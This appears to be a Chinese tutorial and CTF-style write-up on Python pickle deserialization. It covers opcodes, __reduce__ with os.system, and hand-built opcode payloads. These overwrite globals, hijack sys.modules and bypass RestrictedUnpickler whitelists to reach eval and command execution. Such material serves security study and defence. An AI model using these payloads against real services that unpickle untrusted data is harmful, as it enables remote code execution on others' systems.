1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

import pickle
class Test:
    def __init__(self):
        self.a = 1
test = Test()
serialized = pickle.dumps(test)
print(serialized)
unserialized = pickle.loads(serialized)
print(unserialized.a)

1
2

b'\x80\x04\x95"\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94\x8c\x01a\x94K\x01sb.'
1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

import pickle
class Test:
    def __init__(self):
        self.a = 1
test = Test()
serialized = pickle.dumps(test, protocol=0)  # 指定版本
print(serialized)
unserialized = pickle.loads(serialized)  # 注意，loads 能够自动识别反序列化的版本
print(unserialized.a)

1
2

b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.'
1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

MARK           = b'('   # 向栈中压入一个 MARK 标记
STOP           = b'.'   # 程序结束，栈顶的一个元素作为 pickle.loads() 的返回值
POP            = b'0'   # 丢弃栈顶对象
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # 实例化一个 float 对象
INT            = b'I'   # 实例化一个 int 或者 bool 对象
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # 栈中压入 None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   # push persistent object; id is taken from stack
REDUCE         = b'R'   # 从栈上弹出两个对象，第一个对象作为参数（必须为元组），第二个对象作为函数，然后调用该函数并把结果压回栈
STRING         = b'S'   # 实例化一个字符串对象
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   # push string; counted binary string argument < 256 bytes
UNICODE        = b'V'   # 实例化一个 UNICODE 字符串对象
BINUNICODE     = b'X'   # push Unicode string; counted UTF-8 string argument
APPEND         = b'a'   # 将栈的第一个元素 append 到第二个元素（必须为列表）中
BUILD          = b'b'   # 使用栈中的第一个元素（储存多个 属性名-属性值 的字典）对第二个元素（对象实例）进行属性设置，调用 __setstate__ 或 __dict__.update()
GLOBAL         = b'c'   # 获取一个全局对象或 import 一个模块（会调用 import 语句，能够引入新的包），压入栈
DICT           = b'd'   # 寻找栈中的上一个 MARK，并组合之间的数据为字典（数据必须有偶数个，即呈 key-value 对），弹出组合，弹出 MARK，压回结果
EMPTY_DICT     = b'}'   # 向栈中直接压入一个空字典
APPENDS        = b'e'   # 寻找栈中的上一个 MARK，组合之间的数据并 extends 到该 MARK 之前的一个元素（必须为列表）中
GET            = b'g'   # 将 memo[n] 的压入栈
BINGET         = b'h'   # push item from memo on stack; index is 1-byte arg
INST           = b'i'   # 相当于 c 和 o 的组合，先获取一个全局函数，然后从栈顶开始寻找栈中的上一个 MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # 从栈顶开始寻找栈中的上一个 MARK，并组合之间的数据为列表
EMPTY_LIST     = b']'   # 向栈中直接压入一个空列表
OBJ            = b'o'   # 从栈顶开始寻找栈中的上一个 MARK，以之间的第一个数据（必须为函数）为 callable，第二个到第 n 个数据为参数，执行该函数（或实例化一个对象），弹出 MARK，压回结果，
PUT            = b'p'   # 将栈顶对象储存至 memo[n]
BINPUT         = b'q'   # store stack top in memo; index is 1-byte arg
LONG_BINPUT    = b'r'   # store stack top in memo; index is 4-byte arg
SETITEM        = b's'   # 将栈的第一个对象作为 value，第二个对象作为 key，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为 key）中
TUPLE          = b't'   # 寻找栈中的上一个 MARK，并组合之间的数据为元组，弹出组合，弹出 MARK，压回结果
EMPTY_TUPLE    = b')'   # 向栈中直接压入一个空元组
SETITEMS       = b'u'   # 寻找栈中的上一个 MARK，组合之间的数据（数据必须有偶数个，即呈 key-value 对）并全部添加或更新到该 MARK 之前的一个元素（必须为字典）中
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

c copy_reg _reconstructor: stack[copy_reg._reconstructor]
p 0: memo[copy_reg._reconstructor]
(: stack[(, copy_reg._reconstructor]
c __main__ Test: stack[__main__.Test, (, copy_reg._reconstructor]
p 1: memo[copy_reg._reconstructor, __main__.Test]
c __builtin__ object: stack[__builtin__.object, __main__.Test, (, copy_reg._reconstructor]
p 2: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object]
N: stack[None, __builtin__.object, __main__.Test, (, copy_reg._reconstructor]
t: stack[(None, __builtin__.object, __main__.Test), copy_reg._reconstructor]
p 3: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test)]
R stack[<__main__.Test at 0x160578603d0>]
p 4: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>]
(: stack[(, <__main__.Test at 0x160578603d0>]
d: stack[{}, <__main__.Test at 0x160578603d0>]
p 5: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>, {}]
V a: stack["a", <__main__.Test at 0x160578603d0>]
p 6: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>, {}, "a"]
I 1: stack[1, "a", <__main__.Test at 0x160578603d0>]
s: stack[{"a": 1}, <__main__.Test at 0x160578603d0>]
b: stack[<__main__.Test at 0x160578603d0>]  # set a = 1
.: []  # 返回 <__main__.Test at 0x160578603d0>

1
2
3

import pickletools
print(pickletools.dis(serialized))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

    0: c    GLOBAL     'copy_reg _reconstructor'
   25: p    PUT        0
   28: (    MARK
   29: c        GLOBAL     '__main__ Test'
   44: p        PUT        1
   47: c        GLOBAL     '__builtin__ object'
   67: p        PUT        2
   70: N        NONE
   71: t        TUPLE      (MARK at 28)
   72: p    PUT        3
   75: R    REDUCE
   76: p    PUT        4
   79: (    MARK
   80: d        DICT       (MARK at 79)
   81: p    PUT        5
   84: V    UNICODE    'a'
   87: p    PUT        6
   90: I    INT        1
   93: s    SETITEM
   94: b    BUILD
   95: .    STOP
highest protocol among opcodes = 0

1
2
3
4
5
6
7
8
9
10
11
12

import pickle
import os
class Test:
    def __init__(self):
        self.a = os.system("whoami")
test = Test()
serialized = pickle.dumps(test, protocol=0)
print(serialized)

1
2
3
4
5
6
7
8
9
10
11
12
13

import pickle
import os
class Test:
    def __reduce__(self):
        return (os.system, ("whoami", ))
test = Test()
serialized = pickle.dumps(test, protocol=0)
print(serialized)

1
2
3
4
5
6
7

import secret
class Target:
    def __init__(self):
        obj = pickle.loads(ser)  # 输入点
        if obj.pwd == secret.pwd:
            print("Hello, admin!")

1
2
3
4
5
6
7
8
9
10
11
12
13

class secret:
    pwd = "???"
class Target:
    def __init__(self):
        self.pwd = secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
# 结果
# b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV???\nsb.'

1
2
3
4

# 前后对比
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV???\nsb.'
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

1
2

cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.
                                    ^

1

ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dV__setstate__\ncos\nsystem\nubVwhoami\nb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

\x80\x02c__main__\nTest\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.
# pickletools.dis 如下
    0: c    GLOBAL     '__main__ Test'
   15: )    EMPTY_TUPLE
   16: \x81 NEWOBJ
   17: }    EMPTY_DICT
   18: (    MARK
   19: V        UNICODE    '__setstate__'
   33: c        GLOBAL     'os system'
   44: u        SETITEMS   (MARK at 18)
   45: b    BUILD
   46: V    UNICODE    'whoami'
   54: b    BUILD
   55: .    STOP

1
2
3
4
5
6
7
8

PWD = "???"  # 已打码
class Target:
    def __init__(self):
        obj = pickle.loads(ser)  # 输入点
        if obj.pwd == PWD:
            print("Hello, admin!")

1
2
3
4
5

import builtins
builtins.globals()["PWD"] = "tr0y"  # 先把 PWD 改成一个值
obj.pwd = "tr0y"  # 再让 obj.pwd 也等于这个值

1
2

cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu0c__main__\nTarget\n)\x81}(Vpwd\nVtr0y\nub.
                                      ^

1

cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu}(Vpwd\nVtr0y\nub.

1
2
3
4
5

import sys
p0 = sys.modules
p0["sys"] = p0
import sys
p0["sys"] = sys.get("os")

1

csys\nmodules\np0\n0g0\nVsys\ng0\nscsys\nget\n(Vos\ntR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

# ----- securePickle.py ----- 
import pickle
import io
import sys
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)
def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
#  ----- server.py ----- 
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('sys')
class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {}
    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")
    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()
if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

1
2
3
4

csys\nmodules\np0\n0g0\nVsys\ng0\nscsys\nget\n(Vos\ntR  # 到这里和上面方法覆盖中的 payload 一样
p1\n0  # 把 os 存下来先，然后清空栈
g0\nVsys\ng1\ns   # 引入 sys.modules 并令 sys.modules["sys"] = os，这个思路还是方法覆盖
csys\nsystem\n(Vwhoami\ntR.  # 执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

# ----- structs.py ----- 
# structs.py 是一个空文件
# ----- securePickle.py ----- 
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)
def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
#  ----- server.py ----- 
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('structs')
class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'flag': self.cmd_flag,
        }
    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")
    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()
    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))
    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1
    def cmd_flag(self):
        print("Not Implemented QAQ")
if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

1
2
3
4

cstructs\n__dict__\np0
(Vp0\ncstructs\n__builtins__\ns
(Vp1\ng0.get\ns  # 这里是不行的
cstructs\np1\n(Veval\ntR(V__import__('os').system('whoami')\ntR.

1
2

module = __import__(module)
return getattr(module, name)

1
2
3
4
5
6
7
8
9
10
11
12
13

# structs.__dict__["structs"] = structs.__builtins__
cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0
# structs.__builtins__['__import__'] = structs.__getattribute__
cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0
# get eval
cstructs\nget\n(Veval\ntR(V
# get flag
# 收工
\ntR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import structs
import pickle
import io
whitelist = ["structs"]
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)
dumps = pickle.dumps
a = b'''cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0cstructs\nget\n(Veval\ntR(''' + \
    b'''Vprint(open("./flag").read())\ntR.'''
b = RestrictedUnpickler(io.BytesIO(a)).load()
print(b)

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# structs.__dict__["structs"] = structs.__builtins__
cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0
# structs.__builtins__['__import__'] = structs.__getattribute__
cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0
# get eval
cstructs\nget\n(Veval\ntR(V
# 利用 mro 寻找可利用的模块，这里以 sys 为例
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == "_Printer"][0]._Printer__setup.__globals__['sys'].modules.get("os").system("whoami")

# 收工
\ntR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

# ----- securePickle.py ----- 
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)
def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
#  ----- server.py ----- 
import securePickle as pickle
import codecs
import os
pickle.whitelist.append('structs')
class Pysh(object):
    def __init__(self):
        self.key = os.urandom(100)
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'whoami': self.cmd_whoami,
            'su': self.cmd_su,
            'flag': self.cmd_flag,
        }
    def login(self):
        with open('../flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user
    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()
    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))
    def cmd_whoami(self):
        print(self.user.name, self.user.group)
    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1
    def cmd_flag(self):
        if not self.user.privileged:
            print('flag: Permission denied')
        else:
            print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))
if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()
#  ----- structs.py ----- 
class User(object):
    def __init__(self, name, group):
        self.name = name
        self.group = group
        self.isadmin = 0
        self.prompt = ''

1
2
3
4
5
6
7
8
9
10
11
12
13
14

class User(object):
    def __init__(self, name, group):
        self.name = name
        self.group = group
        self.isadmin = 0
        self.prompt = ''
user = User("tr0y", "root")
# 在这里面写入合适的语句
user.privileged = False
print(user.privileged)  # 使得 user.privileged == True

1
2

User.__set__ = User
User.privileged = User("tr0y", "root")

1
2
3
4
5
6
7
8
9
10
11

# 新增 __set__
cstructs\nUser\n(N}V__set__\ncstructs\nUser\nstb
0  # 弹出
# 新增 privileged
cstructs\nUser\n(N}Vprivileged\ncstructs\nUser\n(Vtr0y\nVroot\ntRstb
0  # 弹出
# 返回 structs.User 实例
cstructs\nUser\n(Vtr0y\nVroot\ntR.
# 最终 payload
cstructs\nUser\n(N}V__set__\ncstructs\nUser\nstb0cstructs\nUser\n(N}Vprivileged\ncstructs\nUser\n(Vtr0y\nVroot\ntRstb0cstructs\nUser\n(Vtr0y\nVroot\ntR.